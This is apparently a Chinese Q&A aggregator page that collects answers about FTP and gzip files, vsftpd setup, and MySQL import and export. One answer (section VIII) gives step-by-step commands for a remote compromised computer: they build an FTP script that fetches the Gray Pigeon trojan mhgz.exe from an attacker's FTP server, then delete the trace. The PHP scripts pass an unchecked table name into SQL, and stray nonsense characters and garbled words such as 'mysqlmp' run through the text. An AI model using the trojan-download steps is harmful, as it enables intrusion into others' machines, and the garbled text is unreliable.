当前位置:首页 » 文件传输 » ftp读取gz
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

ftp读取gz

发布时间: 2023-04-08 05:38:16

Ⅰ linux下ftp服务器的上传下载的过程

在我用的所有ftp服务器中来说,首推iis7服务器管理工具,而且一直在用,感觉非常好。它可以作为FTP的客户端,想要进行FTP的上传下载操作,只需要下载安装iis7服务器管理工具就可以了,操作不复杂!

简单的介绍一下iis7服务器管理工具:可以批量管理WIN系列服务器、VPS、批量导入服务器VPS的IP,端口,账号和密码 、批量打开N个服务器VPS的远程桌面、远程桌面后,远程窗口右上角会出现 服务器备注的信息,如郑州xxx号服务器 5、远程桌面后,不影响任务栏显示。可以及时看其他窗口。支持多种方式连接,操作简洁,自身附带教程。


第一步:点击主程序图中“上传下载”键;

第二步:点击“ Ftp”;

第三步:点击“添加”;

第四步:在弹出服务器信息框中填写Ftp信息,注意:FIP ip端口、账号、密码为必填项;

第五步:选择需要打开的FTP服务器;

第六步:点击打开,即刻见FTP效果图。

Ⅱ 如何将FTP设置成百度网盘

1.“多备份”这款在线工具就可以实现了。要不就自己写脚本,在服务器端对网站程序进行打包,如果你是Linux服务器,可以通过putty客户端把网站程序目录打包压缩成 文件名.tar.gz 格式
2.命令格式:sudo tar zcvf 文件名.tar.gz 目录名把打包好的源文件移动到网站根目录;
命令格式:sudo mv 文件名.tar.gz 网站根目录
3.这样,通过浏览器访问http://你的网址/文件名.tar.gz 就快自动弹出下载提示了,做网站的朋友,你懂的!3登录网络网盘,找到如图所示(离线下载)按钮。并点击“新建离线任务”。
4在弹出的对话框中输入第二步提及的网址,并点击确定,网络网盘就会自动从你的服务器下载压缩好的程序文件了。
5你可以随时点击离线下载中查看离线任务状态,下载完成以后,文件会自动存放到你网络网盘的根目录中,你可以根据自己的使用习惯新建文件夹专门存放备份的程序文件。

Ⅲ perl net::ftp get下载的 .Z 文件解压不了

.Z 或者 .zip .tar .gz 这类压缩包,不枝茄圆能用ascii方式下载猛塌纳拦。

你修改一下脚本:

$connection->ascii();

换成

$connection->binary();

Ⅳ 怎样导入*.gz

数据库超过一定尺寸,比如6M 这时使用导出一般没问题,可以正确的保存到本机硬盘上面,但是导入则不行!原因是:一般的 PHP.INI 里面设置临时文件/上传文件的大小限制为2M,而phpmyadmin使用了上传的方式,造成失败。

2、导出到硬盘的 .sql 文件在导回时,经常出现由于某些单引号的问题引起失败,造成导入失败,只能用 mysql等应用程序导入了。

我的数据库已经超过10M,所以必须解决这个问题。我的思路:

导出: 用phpmyadmin 保存数据库/表格结构,用脚本读取数据库内容并保存到文件里面!

导入: 用phpmyadmin 恢复数据库/表格结构,用脚本读取文件,然后保存到库里面!

导出程序如下:调用方法为 ****.php?table=tablename

这个简单的程序目前一次保存一个表格!!每行脊蔽雀为一个字段的数据!!

if($table=="")exit();

mysql_connect("localhost","name","password");

mysql_select_db("database");

$result = mysql_query("select * from $table");

if(mysql_num_rows($result) <= 0) exit();

echo "开始转换数据到文本...

";

$handle = fopen("$table.txt","w");

$numfields = mysql_num_fields($result);

fputs($handle,$numfields."\r\n");

for($k=0;$k

{

$msg = mysql_fetch_row($result);

for($i=0;$i<$numfields;$i++)

{

$msg[$i] = str_replace("\r\n","&&php2000mysqlreturn&&",$msg[$i]);

$msg[$i] = str_replace("\n" ,"&&php2000mysqlreturn&&",$msg[$i]);

fputs($handle,$msg[$i]."\r\n");

}

fputs($handle,"------- php2000 mp data program V1.0 for MySQL --------\r\n");

}

fclose($handle);

echo "ok";

?>

导入的程序如下:用法同上面!

if($table=="")exit();

mysql_connect("localhost","name","password");

mysql_select_db("database");

$message = file("$table.txt");

echo $numfields = chop($message[0]);

for($k=1;$k

{

$value="";

for ($i=$k;$i<($k+$numfields-1);$i++)

{

$tmp = str_replace("&&php2000mysqlreturn&&","\r\n",chop($message[$i]));

$value .= "'".addslashes($tmp)."',";

}

$tmp = str_replace("&&php2000mysqlreturn&&","\r\n",chop($message[$k+$numfields-1]));

$value .= "'".$tmp."'";

$query = "insert into $table values (".$value."并庆)";

echo mysql_error();

mysql_query($query);

echo $k." ";

}

echo "ok";

?>

使用方法和可能的问题!

1、导入时 file()函数可能会有问题(我的10M的数据没出现问题),可以改为 fopen()然后没次读一行!!

2、导入,导出都需要用 ftp 操作,也就是导出后,用 ftp 把数据转到本机,导入时先用ftp转樱早移数据到服务器! 转自:动态网制作指南 www.knowsky.com

补充日期: 2004-05-27 11:54:12

MySQL数据导入导出方法与工具介绍

1).mysqlimport的语法介绍:
mysqlimport位于mysql/bin目录中,是mysql的一个载入(或者说导入)数据的一个非常有效的工具。这是一个命令行工具。有两个参数以及大量的选项可供选择。这个工具把一个文本文件(text file)导入到你指定的数据库和表中。比方说我们要从文件Customers.txt中把数据导入到数据库Meet_A_Geek中的表Custermers中:
mysqlimport Meet_A_Geek Customers.txt
注意:这里Customers.txt是我们要导入数据的文本文件,而Meet_A_Geek是我们要操作的数据库,数据库中的表名是Customers,这里文本文件的数据格式必须与Customers表中的记录格式一致,否则mysqlimport命令将会出错。
其中表的名字是导入文件的第一个句号(.)前面文件字符串,另外一个例子:
mysqlimport Meet_A_Geek Cus.to.mers.txt
那么我们将把文件中的内容导入到数据库Meet_A_Geek 中的Cus表中。
上面的例子中,都只用到两个参数,并没有用到更多的选项,下面介绍mysqlimport的选项

2).mysqlimport的常用选项介绍:
选项 功能
-d or --delete 新数据导入数据表中之前删除数据数据表中的所有信息
-f or --force 不管是否遇到错误,mysqlimport将强制继续插入数据
-i or --ignore mysqlimport跳过或者忽略那些有相同唯一
关键字的行, 导入文件中的数据将被忽略。
-l or -lock-tables 数据被插入之前锁住表,这样就防止了,
你在更新数据库时,用户的查询和更新受到影响。
-r or -replace 这个选项与-i选项的作用相反;此选项将替代
表中有相同唯一关键字的记录。
--fields-enclosed- by= char
指定文本文件中数据的记录时以什么括起的, 很多情况下
数据以双引号括起。 默认的情况下数据是没有被字符括起的。
--fields-terminated- by=char
指定各个数据的值之间的分隔符,在句号分隔的文件中,
分隔符是句号。您可以用此选项指定数据之间的分隔符。
默认的分隔符是跳格符(Tab)
--lines-terminated- by=str
此选项指定文本文件中行与行之间数据的分隔字符串
或者字符。 默认的情况下mysqlimport以newline为行分隔符。
您可以选择用一个字符串来替代一个单个的字符:
一个新行或者一个回车。
mysqlimport命令常用的选项还有-v 显示版本(version), -p 提示输入密码(password)等。

3).例子:导入一个以逗号为分隔符的文件
文件中行的记录格式是这样的:
"1", "ORD89876", "1 Dozen Roses", "19991226"
我们的任务是要把这个文件里面的数据导入到数据库Meet_A_Geek中的表格Orders中,
我们使用这个命令:
bin/mysqlimport –prl –fields-enclosed-by=" –fields-terminated-by=, Meet_A_Geek Orders.txt
这个命令可能看起来很不爽,不过当你熟悉了之后,这是非常简单的。第一部分,bin/mysqlimport ,告诉操作系统你要运行的命令是mysql/bin目录下的mysqlimport,选项p是要求输入密码,这样就要求你在改动数据库之前输入密码,操作起来会更安全。 我们用了r选项是因为我们想要把表中的唯一关键字与文件记录中有重复唯一关键字的记录替换成文件中的数据。我们表单中的数据不是最新的,需要用文件中的数据去更新,因而就用r这个选项,替代数据库中已经有的记录。l选项的作用是在我们插入数据的时候锁住表,这样就阻止了用户在我们更新表的时候对表进行查询或者更改的操作。

批处理是一种非交互式运行mysql程序的方法,如同您在mysql中使用的命令一样,你仍然将使用这些命令。

为了实现批处理,您重定向一个文件到mysql程序中,首先我们需要一个文本文件,这个文本文件包含有与我们在mysql中输入的命令相同的文本。
比如我们要插入一些数据,使用包含下面文本的文件(文件名为New_Data.sql,当然我们也可以取名为New_Data.txt及任何其他的合法名字,并不一定要以后缀sql结尾):
USE Meet_A_Geek;
INSERT INTO Customers (Customer_ID, Last_Name) VALUES(NULL, "Block");
INSERT INTO Customers (Customer_ID, Last_Name) VALUES(NULL, "Newton");
INSERT INTO Customers (Customer_ID, Last_Name) VALUES(NULL, "Simmons");
注意上面的这些句子的语法都必须是正确的,并且每个句子以分号结束。
上面的USE命令选择数据库,INSERT命令插入数据。

下面我们要把上面的文件导入到数据库中,导入之前要确认数据库已经在运行,即是mysqld进程(或者说服务,Windows NT下面称为”服务“,unix下面为”进程“)已经在运行。
然后运行下面的命令:
bin/mysql –p < /home/mark/New_Data.sql
接着按提示输入密码,如果上面的文件中的语句没有错误,那么这些数据就被导入到了数据库中。

命令行中使用LOAD DATA INFILE 从文件中导入数据到数据库:
现在您可能会问自己,"究竟为什么我要输入所有的这些SQL语句到文件中,然后通过程序运行它们呢?”
这样看起来好像需要大量的工作。很好,你这样想很可能就对了。但是假如你有从所有这些命令中产生的log记录呢?现在这样就很棒,嗯,大多数数据库都会自动产生数据库中的事件记录的log。而大部分log都包含有用过的原始的SQL命令。因此,如果您不能从您现在的数据库中导出数据到新的mysql数据库中使用,那么您可以使用log和mysql的批处理特性,来快速且方便地导入您地数据。当然,这样就省去了打字的麻烦。

LOAD DATA INFILE
这是我们要介绍的最后一个导入数据到MySQL数据库中的方法。这个命令与mysqlimport非常相似,但这个方法可以在mysql命令行中使用。也就是说您可以在所有使用API的程序中使用这个命令。使用这种方法,您就可以在应用程序中导入您想要导入的数据。

使用这个命令之前,mysqld进程(服务)必须已经在运行。
启动mysql命令行:
bin/mysql –p
按提示输入密码,成功进入mysql命令行之后,输入下面的命令:
USE Meet_A_Geek;
LOAD DATA INFILE "/home/mark/data.sql" INTO TABLE Orders;
简单的讲,这样将会把文件data.sql中的内容导入到表Orders中,如mysqlimport工具一样,这个命令也有一些可以选择的参数。比如您需要把自己的电脑上的数据导入到远程的数据库服务器中,您可以使用下面的命令:
LOAD DATA LOCAL INFILE "C:\MyDocs\SQL.txt" INTO TABLE Orders;

上面的LOCAL参数表示文件是本地的文件,服务器是您所登陆的服务器。
这样就省去了使用ftp来上传文件到服务器,MySQL替你完成了.
您也可以设置插入语句的优先级,如果您要把它标记为低优先级(LOW_PRIORITY),那么MySQL将会等到没有其他人读这个表的时候,才把插入数据。可以使用如下的命令:
LOAD DATA LOW_PRIORITY INFILE "/home/mark/data.sql" INTO TABLE Orders;

您也可以指定是否在插入数据的时候,取代或者忽略文件与数据表中重复的键值。替代重复的键值的语法:
LOAD DATA LOW_PRIORITY INFILE "/home/mark/data.sql" REPLACE INTO TABLE Orders;
上面的句子看起来有点笨拙,但却把关键字放在了让您的剖析器可以理解的地方。

下面的一对选项描述了文件的记录格式,这些选项也是在mysqlimport工具中可以用的。他们在这里看起来有点不同。首先,要用到FIELDS关键字,如果用到这个关键字,MySQL剖析器希望看到至少有下面的一个选项:
TERMINATED BY character
ENCLOSED BY character
ESCAPED BY character
这些关键字与它们的参数跟mysqlimport中的用法是一样的. The
TERMINATED BY 描述字段的分隔符,默认情况下是tab字符(\t)
ENCLOSED BY描述的是字段的括起字符。比方以引号括起每一个字段。
ESCAPED BY 描述的转义字符。默认的是反些杠(backslash:\ ).
下面仍然使用前面的mysqlimport命令的例子,用LOAD DATA INFILE语句把同样的文件导入到数据库中:
LOAD DATA INFILE "/home/mark/Orders.txt" REPLACE INTO TABLE Orders FIELDS TERMINATED BY ',' ENCLOSED BY '"';

LOAD DATA INFILE语句中有一个mysqlimport工具中没有特点:
LOAD DATA INFILE 可以按指定的列把文件导入到数据库中。
当我们要把数据的一部分内容导入的时候,这个特点就很重要。比方说,我们要从Access数据库升级到MySQL数据库的时候,需要加入一些栏目(列/字段/field)到MySQL数据库中,以适应一些额外的需要。
这个时候,我们的Access数据库中的数据仍然是可用的,但是因为这些数据的栏目(field)与MySQL中的不再匹配,因此而无法再使用mysqlimport工具。尽管如此,我们仍然可以使用LOAD DATA INFILE,下面的例子显示了如何向指定的栏目(field)中导入数据:
LOAD DATA INFILE "/home/Order.txt" INTO TABLE Orders(Order_Number, Order_Date, Customer_ID);

如您所见,我们可以指定需要的栏目(fields)。这些指定的字段依然是以括号括起,由逗号分隔的,如果您遗漏了其中任何一个,MySQL将会提醒您^_^

Importing Data from Microsoft Access (从Access中导入数据,略)
您可以看到MySQL有很多可以导入数据的方法,然而这些只是数据传输中的一半。另外的一般是从MySQL数据库中导出数据。有许多的原因我们需要导出数据。一个重要的原因是用于备份数据库。数据的造价常常是昂贵的,需要谨慎处理它们。经常地备份可以帮助防止宝贵数据地丢失;另外一个原因是,也许您希望导出数据来共享。 在这个信息技术不断成长的世界中,共享数据变得越来越常见。

比方说Macmillan USA维护护着一个将要出版的书籍的大型数据库。这个数据库在许多书店之间共享,这样他们就知道哪些书将会很快出版。医院越来越走向采用无纸病历记录,这样这些病历可以随时跟着你。世界变得越来越小,信息也被共享得越来越多。有很多中导出数据得方法,它们都跟导入数据很相似。因为,毕竟,这些都只是一种透视得方式。从数据库导出的数据就是从另一端导入的数据。这里我们并不讨论其他的数据库各种各样的导出数据的方法,您将学会如何用MySQL来实现数据导出。

使用mysqlmp:

(mysqlmp命令位于mysql/bin/目录中)
mysqlmp工具很多方面类似相反作用的工具mysqlimport。它们有一些同样的选项。但mysqlmp能够做更多的事情。它可以把整个数据库装载到一个单独的文本文件中。这个文件包含有所有重建您的数据库所需要的SQL命令。这个命令取得所有的模式(Schema,后面有解释)并且将其转换成DDL语法(CREATE语句,即数据库定义语句),取得所有的数据,并且从这些数据中创建INSERT语句。这个工具将您的数据库中所有的设计倒转。因为所有的东西都被包含到了一个文本文件中。这个文本文件可以用一个简单的批处理和一个合适SQL语句导回到MySQL中。这个工具令人难以置信地简单而快速。决不会有半点让人头疼地地方。

因此,如果您像装载整个数据库Meet_A_Geek的内容到一个文件中,可以使用下面的命令:
bin/mysqlmp –p Meet_A_Geek > MeetAGeek_Dump_File.txt

这个语句也允许您指定一个表进行mp(备份/导出/装载?)。如果您只是希望把数据库Meet_A_Geek中的表Orders中的整个内容导出到一个文件,可以使用下面的命令:
bin/mysqlmp –p Meet_A_Geek Orders >MeetAGeek_Orders.txt

这个非常的灵活,您甚至可以使用WHERE从句来选择您需要的记录导出到文件中。要达到这样的目的,可以使用类似于下面的命令:
bin/mysqlmp –p –where="Order_ID > 2000" Meet_A_Geek Orders > Special_Dump.txt

mysqlmp工具有大量的选项,部分选项如下表:
选项/Option 作用/Action Performed
--add-drop-table
这个选项将会在每一个表的前面加上DROP TABLE IF EXISTS语句,这样可以保证导回MySQL数据库的时候不会出错,因为每次导回的时候,都会首先检查表是否存在,存在就删除
--add-locks
这个选项会在INSERT语句中捆上一个LOCK TABLE和UNLOCK TABLE语句。这就防止在这些记录被再次导入数据库时其他用户对表进行的操作

-c or - complete_insert
这个选项使得mysqlmp命令给每一个产生INSERT语句加上(field)的

名字。当把数据导出导另外一个数据库时这个选项很有用。
--delayed-insert 在INSERT命令中加入DELAY选项
-F or -flush-logs 使用这个选项,在执行导出之前将会刷新MySQL服务器的log.
-f or -force 使用这个选项,即使有错误发生,仍然继续导出
--full 这个选项把附加信息也加到CREATE TABLE的语句中
-l or -lock-tables 使用这个选项,导出表的时候服务器将会给表加锁。
-t or -no-create- info
这个选项使的mysqlmp命令不创建CREATE TABLE语句,这个选项在您只需要数据而不需要DDL(数据库定义语句)时很方便。

-d or -no-data 这个选项使的mysqlmp命令不创建INSERT语句。
在您只需要DDL语句时,可以使用这个选项。
--opt 此选项将打开所有会提高文件导出速度和创造一个可以更快导入的文件的选项。
-q or -quick 这个选项使得MySQL不会把整个导出的内容读入内存再执行导出,而是在读到的时候就写入导文件中。
-T path or -tab = path 这个选项将会创建两个文件,一个文件包含DDL语句或者表创建语句,另一个文件包含数据。DDL文件被命名为table_name.sql,数据文件被命名为table_name.txt.路径名是存放这两个文件的目录。目录必须已经存在,并且命令的使用者有对文件的特权。

-w "WHERE Clause" or -where = "Where clause "
如前面所讲的,您可以使用这一选项来过筛选将要放到
导出文件的数据。

假定您需要为一个表单中要用到的帐号建立一个文件,经理要看今年(2004年)所有的订单(Orders),它们并不对DDL感兴趣,并且需要文件有逗号分隔,因为这样就很容易导入到Excel中。 为了完成这个人物,您可以使用下面的句子:
bin/mysqlmp –p –where "Order_Date >='2000-01-01'"
–tab = /home/mark –no-create-info –fields-terminated-by=, Meet_A_Geek Orders
这将会得到您想要的结果。

schema:模式
The set of statements, expressed in data definition language, that completely describe the structure of a data base.
一组以数据定义语言来表达的语句集,该语句集完整地描述了数据库的结构。

SELECT INTO OUTFILE :
如果您觉得mysqlmp工具不够酷,就使用SELECT INTO OUTFILE吧, MySQL同样提供一个跟LOAD DATA INFILE命令有相反作用的命令,这就是SELECT INTO OUTFILE 命令,这两个命令有很多的相似之处。首先,它们有所有的选项几乎相同。现在您需要完成前面用mysqlmp完成的功能,可以依照下面的步骤进行操作:

1. 确保mysqld进程(服务)已经在运行
2. cd /usr/local/mysql
3. bin/mysqladmin ping ;// 如果这个句子通不过,可以用这个:mysqladmin -u root -p ping
mysqladmin ping用于检测mysqld的状态,is alive说明正在运行,出错则可能需要用户名和密码。
4. 启动MySQL 监听程序.
5. bin/mysql –p Meet_A_Geek;// 进入mysql命令行,并且打开数据库Meet_A_Geek,需要输入密码
6. 在命令行中,输入一下命令:
SELECT * INTO OUTFILE '/home/mark/Orders.txt'
FIELDS
TERMINATED BY = ','
FROM Orders
WHERE Order_Date >= '2000-01-01'

在你按了Return(回车)之后,文件就创建了。这个句子就像一个规则的SELECT语句,只是把想屏幕的输出重定向到了文件中。这意味这您可以使用JOIN来实现多表的高级查询。这个特点也可以被用作一个报表产生器。
比方说,您可以组合这一章中讨论的方法来产生一个非常有趣的查询,试试这个:

在mysql目录建立一个名为Report_G.rpt 的文本文件,加入下面的行:
USE Meet_A_Geek;
INSERT INTO Customers (Customer_ID, Last_Name, First_Name)
VALUES (NULL, "Kinnard", "Vicky");
INSERT INTO Customers (Customer_ID, Last_Name, First_Name)
VALUES (NULL, "Kinnard", "Steven");
INSERT INTO Customers (Customer_ID, Last_Name, First_Name)
VALUES (NULL, "Brown", "Sam");
SELECT Last_Name INTO OUTFILE '/home/mark/Report.rpt'
FROM Customers WHERE Customer_ID > 1;
然后确认 mysql进程在运行,并且您在mysql目录中, 输入下面的命令:
bin/mysql < Report_G.rpt检查您命名作为输出的文件,这个文件将会包含所有您在Customers表中输入的顾客的姓。 如您所见,您可以使用今天学到的导入/导出(import/export)的方法来帮助得到报表。

Ⅳ 为什么我网站ftp里面的www_logs里面的文件都是wwwlog20140408.log.gz这种形式的,而且查看的时候都是乱码

gz是gzip压缩的,颤简用rar和zip都可以解压。如果你是linux系统,用贺洞老less直接可以看.gz文件禅升。

Ⅵ linux vsftpd怎么使用

第一步:下载vsftpd的RPM包
你可以从下面两个地方获得最新的vsftpd的RPM包 Redhat's rpm collection 或者 rpmfind.net.为了你的方便, 你也可以使用wget从本站下载vsftpd的rpm包到你的本地电脑.

复制代码代码如下:

wget http://www.vsftpdrocks.org/vsftpd-1.1.3-8.i386.rpm
一但有了vsftpd的RPM包,你就可以安装它
rpm -Uvh vsftpd-1.1.3-8.i386.rpm
就这样. Vsftpd现在正式安装.
第二步:启动并在"standalone"模式下进行测试

复制代码代码如下:

vi /etc/vsftpd/vsftpd.conf
添加下面一行, 或者查看文件确定存在下面一行:

复制代码代码如下:

listen=YES
保存并退出.
现在来启动vsftpd...

复制代码代码如下:

/usr/sbin/vsftpd &
现在来用ftp命令至你的服务器. 你可以看到如下面这下样的成功登陆后的会话信息:

复制代码代码如下:

[root@somehost]ftp localhost
Connected to localhost.localdomain.
220 (vsFTPd 1.2.1)
Name (localhost:admin): bobsmith (很明显,你必须使用在你的服务器上的有效用户)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 25372 Jan 17 18:50 somefile.tar.gz
drwx------ 2 1001 1001 512 Jan 16 19:16 index.htm
226 Directory send OK.
ftp> quit
221 Goodbye.
[root@somehost]
如果你准备就绪的话,就可以看到类似于上面的返回信息 ! 如果你想让你的FTP服务器运行在 inetd或xinetd上, 那么你就需要继续进行下面的测试. 我个人推荐将FTP服务器运行在 inetd或xinetd上.
第三步:为inetd/xinetd操作进行配置
要在inetd或xinetd配置vsftpd,要进行下面的操作:
首先,来编辑/etc/vsftpd.conf,并告诉它vsftpd没有运行在"standalone"模式:

复制代码代码如下:

vi /etc/vsftpd/vsftpd.conf

确认下行的存在并将其设置为 "NO":

复制代码代码如下:

listen=NO

如果你在运行inetd,进行下面的操作:

复制代码代码如下:

vi /etc/inetd.conf

如果文件有包含任何“ftp"行的存在, 请注释或删除掉它们,并添加入下面一行:

复制代码代码如下:

ftp stream tcp nowait root /usr/local/sbin/vsftpd vsftpd

保存并退出.
现在重启inetd:

复制代码代码如下:

/etc/rc.d/init.d/inetd restart

如果你的xinetd正在运行,进行下面的操作:
Redhat用户:

复制代码代码如下:

vi /etc/xinetd.d/vsftpd
# default: off
# description: The vsftpd FTP server serves FTP connections. It uses \
# normal, unencrypted usernames and passwords for authentication.
service ftp
{
disable = no
socket_type = stream
wait = no
user = root
server = /usr/sbin/vsftpd
nice = 10
}
保存并退出.
现在停止并重启xinetd...

复制代码代码如下:

/etc/rc.d/init.d/xinetd restart
现在来测试inetd/xinetd ftp服务器:

复制代码代码如下:

[root@somehost]ftp localhost
Connected to localhost.localdomain.
220 (vsFTPd 1.2.1)
Name (localhost:admin): bobsmith (很明显,你必须使用在你的服务器上的有效用户)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 25372 Jan 17 18:50 somefile.tar.gz
drwx------ 2 1001 1001 512 Jan 16 19:16 index.htm
226 Directory send OK.
ftp> quit
221 Goodbye.
[root@somehost]
如果你准备就绪的话,就可以看到类似于上面的返回信息 ! 恭喜,你的FTP服务器已经正常运行! 在接下来的步骤, 我们将调整vsftpd的配置让其拥有最好的性能.
第四步:vsftpd主配置文件
vsftpd主要配置应该是在:/etc/vsftpd.conf. 这个文件将决定如何对你的vsftpd FTP服务器进行操作. 你必须在vsftpd.conf中查找是否包含下面的配置选项。我虽然不能讲诉所有的选面,但是列表中列出来了vsftpd配置的重要部分 :
anonymous_enable=NO/YES
这个开关用于开启FTP的匿名访问. 如果将该选项打开,那么请按照第三步的方法进行匿名匿名服务的配置. 如果你不清楚什么是匿名FTP服务,最好把该选项选项设置为“ON”
local_enable=NO/YES
启用或禁用这个选项,可以使本地系统用户FTP至你的服务器. 典型的FTP服务器会将其设置为"YES". 我认为只有一种可以选"NO",
write_enable=NO/YES
启用或禁用FTP的写入功能.你必须将其设置为"YES" .
local_umask=022 (或者根据你的需要设置)
vsftpd默认的umask为:077. 它决定目录和文件被创建时得到的初始权限
xferlog_enable=YES
这个选项是启用或禁用服务器的上传&下载日志记录.
ftpd_banner=Welcome to blah FTP service
没有任何形式来界定该选项, 但它可以为你的FTP服务器定制一个更加友好的问候.
chroot_list_enable=NO/YES
chroot_list_file=/etc/vsftpd.chroot_list
这是一个对于开启了"chroot"选项相当重要的功能. 当 "chroot_list_enable" 设置为"YES"时, vsftpd会寻找在 "chroot_list_file"指定的下一行位置. 被列出在"/etc/vsftpd.chroot_list" 文件中的任何用户,会自动的"chrooted"至他们的主目录. 这将禁止用户进入除了他或她们用户主目录之外的任何位置. 非常适用于共享的FTP环境或者安全与保密性一般的层面.
userlist_enable=NO/YES
userlist_deny=NO/YES
"userlist_enable"选项是用于控制下面两个文件中其中的一个: vsftpd.ftpusers和 vsftpd.user_list.如果这个选项设置为 "YES", 这两个文件将列出用户名单将允许访问FTP服务. 不管怎样,当额外加上"userlist_deny=YES"时,这两个文件将列出用户名单将不允许访问FTP服务.这个选项是一个非常有用的彻底拒绝通过ftp获取关键系统用户的功能.比如"root"或"apche"或"www"这样的用户. 对于你的FTP服务器的安全是一个非常好的用途.
第五步: vsftpd.ftpusers, vsftpd.user_list 配置文件
这两个文件直接与/etc/vsftpd.conf配置文件中的""userlist_enable" 和"userlist_deny"选项关联.当"userlist_enable"选项设置为 "YES"时, 这两个文件列表中的用户将允许访问FTP服务器. 不管怎样, 当额外加上"userlist_deny=YES"选项时,这两个文件列表中的用户将不允许访问FTP服务器. 当"userlist_deny"选项被使用时,决定一个有户是否被FTP服务拒绝,主要取决于它存在于上述两个文件中的其中的哪一个.
如果一个用户同时存在于"vsftpd.user_list"与"userlist_deny",当用户试图连接FTP服务器时,它们在开始请求FTP连接时 得不到密码提示并会被拒绝.
如果一个用户同时存在于"vsftpd.user_list"与"userlist_deny", 用户必须登陆后更改这一密码提示.
就个人而言, 我更喜欢使用 "vsftpd.user_list"来建立用户列表(root, apache, www, nobody等等.) 如果有谁从未见到密码提示,那么他应该进行FTP的初始化连接.
第六步: vsftpd.chroot_list 配置文件
"vsfrtpd.chroot_list", 当启用"chroot_list_enable"选项时, 为FTP建立的用户列表文件,不管是谁,都必须被 "chrooted"至主FTP目录. 那些用户不能改变路径到其它用户目录.在保密性较强的公共FTP环境中,这是一个非常不错的功能.
在任何时间你都可以改变你的配置文件, 并确认后重启vsftpd!

Ⅶ win主机下,怎样解压linux系统压缩的tar.gz 和 tar.bz2 格式的压缩包

不好意思,现在才看到你的问题,希望我的回答对你有帮助
在windows下,是可以直接用winrar解压linux的tar、gz、bz2文件的,至于你说的解压出来后是乱码,应该和系统编码有问题,看了前面你的问题,你应该知道,WINDOWS使用的编码和LINUX的编码如察袭是不一样的,如果你的WINDOWS系统不支持LINUX系统的编码,就会导致乱码的出现。

关键是我还没有弄明白,你是解压出来的文件名是乱码还是文件内容是乱码,如果只是文件内容是乱码,那多半就是编码问题的,那么在windows或LINUX进行编码转换即可。如果是文件名有乱码或解压过程报错,那就有可能是其它原因了,比如各种原因导致的压缩包本身有问题渣兄、磁盘坏道、病毒、错误的操作等等原因导致的。不同的原因有不同的解决和诊断方法。如果是这样的情况,建议你先把文件改成英文再压缩下载,看看还有没有乱码。

但编码问题是一定要解决的,在操作前你最好先确定你的linux系统用的什么编码,再看看你的windows系统是否支持,这样一点点的排除没丛问题,确认问题后“对症下药”就能“药到病除”了。

Ⅷ 远程计算机怎么用FTP传文件啊

在远程计算机的cmd环境下,如果不能通过ipc$渠道传送文件,那就只有通过ftp下载文件了。
假设我们已经有一个ftp服务器,上面有一个我们配置好的灰鸽子木马文件mhgz.exe,我们应该知道ftp服务器的三个参数:
1、ftp服务器的ip地址:如203.75.44.34
2、ftp服务器的用户名:如tty
3、ftp服务器的密
码:如tty123
在远程计算机的cmd下依次输入下面的命令:
1、echo
open
203.75.44.34>>tty.txt
登陆ftp服务器
2、echo
tty>>tty.txt
用户名
3、echo
tty123>>tty.txt
密码
4、echo
bin>>tty.txt
开始
5、echo
get
mhgz.exe>>tty.txt
下载灰鸽子木马
6、echo
bye>>tty.txt
关闭ftp服务器
输入上面命令后,在远程计算机上就会生成一个tty.txt文件,内容为:
open
203.75.44.34
tty
tty123
bin
get
mhgz.exe
bye
现在我们在远程计算机上执行下面的命令:
ftp
-s:tty.txt
意思是,读取tty.txt里的参数,执行ftp命令,命令执行完后,灰鸽子木马文件mhgz.exe就下载到对方计算机里了。
del
c:\tty.txt

Ⅸ centos 6.5 怎么使用ftp 服务器

实施步骤:

1:安装vsftp程序

[root@server Packages]# rpm -ivh vsftpd-2.2.2-11.el6_4.1.i686.rpm

2:启动服务并设为开机启动

[root@server ~]# service vsftpd start

[root@server ~]# chkconfig vsftpd on

3:备份配置文件

[root@server ~]# cp /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.bak

4:编辑配置文件实现需求

[root@server ~]# mkdir /data/ftproot
[root@server ~]# vim /etc/vsftpd/vsftpd.conf
...
12 anonymous_enable=NO 禁止匿名访问
...
120 listen_port=2121 改ftp端口
121 chroot_local_user=yes 禁锢登录目录
122 local_root=/data/ftproot 改登录目录为/data/ftproot
123 userlist_deny=NO 白名单生效
124 max_clients=20 最大并发客户端
125 max_per_ip=2 每ip最大并发
126 local_max_rate=100000 限制下载速度
[root@server ~]# service vsftpd restart 重启服务

5:编辑白名单实现账户访问控制

[root@server ~]# tail -2 /etc/vsftpd/user_list

up

down

6:在服务器端给up用户添加本地写权限

[root@server ~]# setfacl -m u:up:rwx /data/ftproot

7:客户端测试

[root@client ~]# ftp 192.168.1.254 2121
Name (192.168.1.254:root): up 以up用户登录测试
230 Login successful
ftp> put install.log
local: install.log remote: install.log
227 Entering Passive Mode (192,168,1,254,247,195).
150 Ok to send data.
226 Transfer complete.
38109 bytes sent in 0.0426 secs (894.56 Kbytes/sec)
ftp> get install.log
local: install.log remote: install.log
227 Entering Passive Mode (192,168,1,254,20,170).
150 Opening BINARY mode data connection for install.log (38109 bytes).
226 Transfer complete.
38109 bytes received in 0.00206 secs (18463.66 Kbytes/sec)
Name (192.168.1.254:root): down 以down用户登录测试
230 Login successful.
ftp> !ls
anaconda-ks.cfg bootback.tar.gz install.log install.log.syslog test test.zip
ftp> put bootback.tar.gz
local: bootback.tar.gz remote: bootback.tar.gz
227 Entering Passive Mode (192,168,1,254,44,97).
553 Could not create file.
ftp> get install.log
local: install.log remote: install.log
227 Entering Passive Mode (192,168,1,254,242,203).
150 Opening BINARY mode data connection for install.log (38109 bytes).
226 Transfer complete.
38109 bytes received in 0.000302 secs (126188.74 Kbytes/sec)

Ⅹ FTP常用命令全ji

文件传输软件的使用格式为:FTP,若连 接成功,系统将提示用户输入用户名及口令:
LOGIN: (输入合法的用户名或者“ANONMOUS”):
PASSWORD: (输入合法的口令,若以“ANONMOUS”方式登录,一般不用口令):

第一节 FTP命令基础

进入想要连接的FTP站点后,用户就可以进行相应的文件传输操作了,其中一些重要 的命令及相似的命令 如下:
1)HELP、 ?、RHEIP、REMOTEHELP
